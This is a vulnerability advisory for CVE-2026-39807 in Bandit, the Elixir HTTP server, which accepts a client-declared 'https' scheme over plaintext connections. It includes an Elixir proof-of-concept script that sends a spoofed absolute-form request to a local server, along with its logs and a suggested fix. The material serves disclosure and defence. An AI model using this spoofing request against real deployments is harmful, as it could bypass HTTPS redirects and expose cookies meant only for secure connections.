CVE-2026-39807

### Summary Bandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal — `Plug.SSL`'s "already secure, don't redirect" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted. The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28 ### Details The bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target's scheme and the transport's `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{}`. The third match clause is `{_, scheme} -> scheme` — i.e. whenever the client supplies *any* scheme on the request target, the function returns that scheme verbatim and discards `secure?` entirely. Two attacker-controlled inputs reach this code path: - HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. `GET https://victim/path HTTP/1.1`. - HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client. Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: "https"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate. **Suggested fix:** when `secure?` is `true`, force the scheme to `"https"`; when `false`, force it to `"http"` — or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme. ### PoC A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends: ``` GET https://127.0.0.1:4321/ HTTP/1.1 Host: 127.0.0.1:4321 Connection: close ``` A correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof. ### Impact Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include: - `Plug.SSL` skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely. - Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them. - Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions. - Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call. The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`. ### Script and Logs ```elixir # Bandit reflects the client-supplied scheme into conn.scheme. # # lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme # appears on the request target, ignoring the `secure?` flag that records # the actual transport state. HTTP/1.1 absolute-form request targets # (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both # attacker-controlled strings that flow into this function. Over a # plaintext connection, a client can claim `https` and Bandit hands a # `%Plug.Conn{scheme: :https}` to the application — even though no TLS # was negotiated. # # Downstream Plug consumers that branch on `conn.scheme` are misled: # Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie # flagging, audit logs, CSRF/SameSite gating, etc. # # This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one # HTTP/1.1 absolute-form request with scheme `https://`, and prints the # `conn.scheme` the application observes. A fixed server should report # `:http` (or reject the request); the buggy server reports `:https`. # # Run: elixir scripts/bandit/http1_scheme_spoofing.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ]) defmodule SchemeApp do @behaviour Plug def init(opts), do: opts def call(conn, _opts) do body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n" Plug.Conn.send_resp(conn, 200, body) end end defmodule SchemeSpoof do @port 4321 def run do {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port) {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) # Absolute-form request target with scheme "https" over a plaintext # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request; # nothing about it implies the connection is TLS. request = "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <> "Host: 127.0.0.1:#{@port}\r\n" <> "Connection: close\r\n" <> "\r\n" log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.") :ok = :gen_tcp.send(sock, request) {:ok, response} = :gen_tcp.recv(sock, 0, 5_000) :gen_tcp.close(sock) log("Server response:") IO.puts(response) cond do response =~ "conn.scheme=:https" -> log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.") log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.") response =~ "conn.scheme=:http" -> log("Server forced scheme to :http — bug appears patched.") true -> log("Unexpected response shape.") end end defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}") end SchemeSpoof.run() ``` ```logs 12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`. [10:53:25.316] Server response: HTTP/1.1 200 OK date: Tue, 28 Apr 2026 10:53:25 GMT content-length: 47 vary: accept-encoding cache-control: max-age=0, private, must-revalidate This is what the Plug sees: conn.scheme=:https [10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket. [10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this. ```

## Summary Reliance on Untrusted Inputs in a Security Decision vulnerability in mtrudel bandit allows unauthenticated transport-state spoofing on plaintext HTTP connections. 'Elixir.Bandit.Pipeline':determine\_scheme/2 in lib/bandit/pipeline.ex returns the client-supplied URI scheme verbatim, ignoring the transport's secure? flag. HTTP/1.1 absolute-form request targets (e.g. GET https://victim/path HTTP/1.1) and the HTTP/2 :scheme pseudo-header are both attacker-controlled strings that flow through this function. Over a plaintext TCP connection, a client can declare https and Bandit will set conn.scheme = :https even though no TLS was negotiated. Downstream Plug consumers that branch on conn.scheme are silently misled: Plug.SSL's already-secure branch skips its HTTP→HTTPS redirect, cookies emitted with secure: true are sent over plaintext, audit logs record requests as having arrived over HTTPS, and CSRF/SameSite gating may make incorrect decisions. This issue affects bandit: from 1.0.0 before 1.11.0. ## Configurations The vulnerable system must be accepting plaintext (non-TLS) HTTP connections, either directly or via h2c. Deployments that exclusively use TLS are not affected.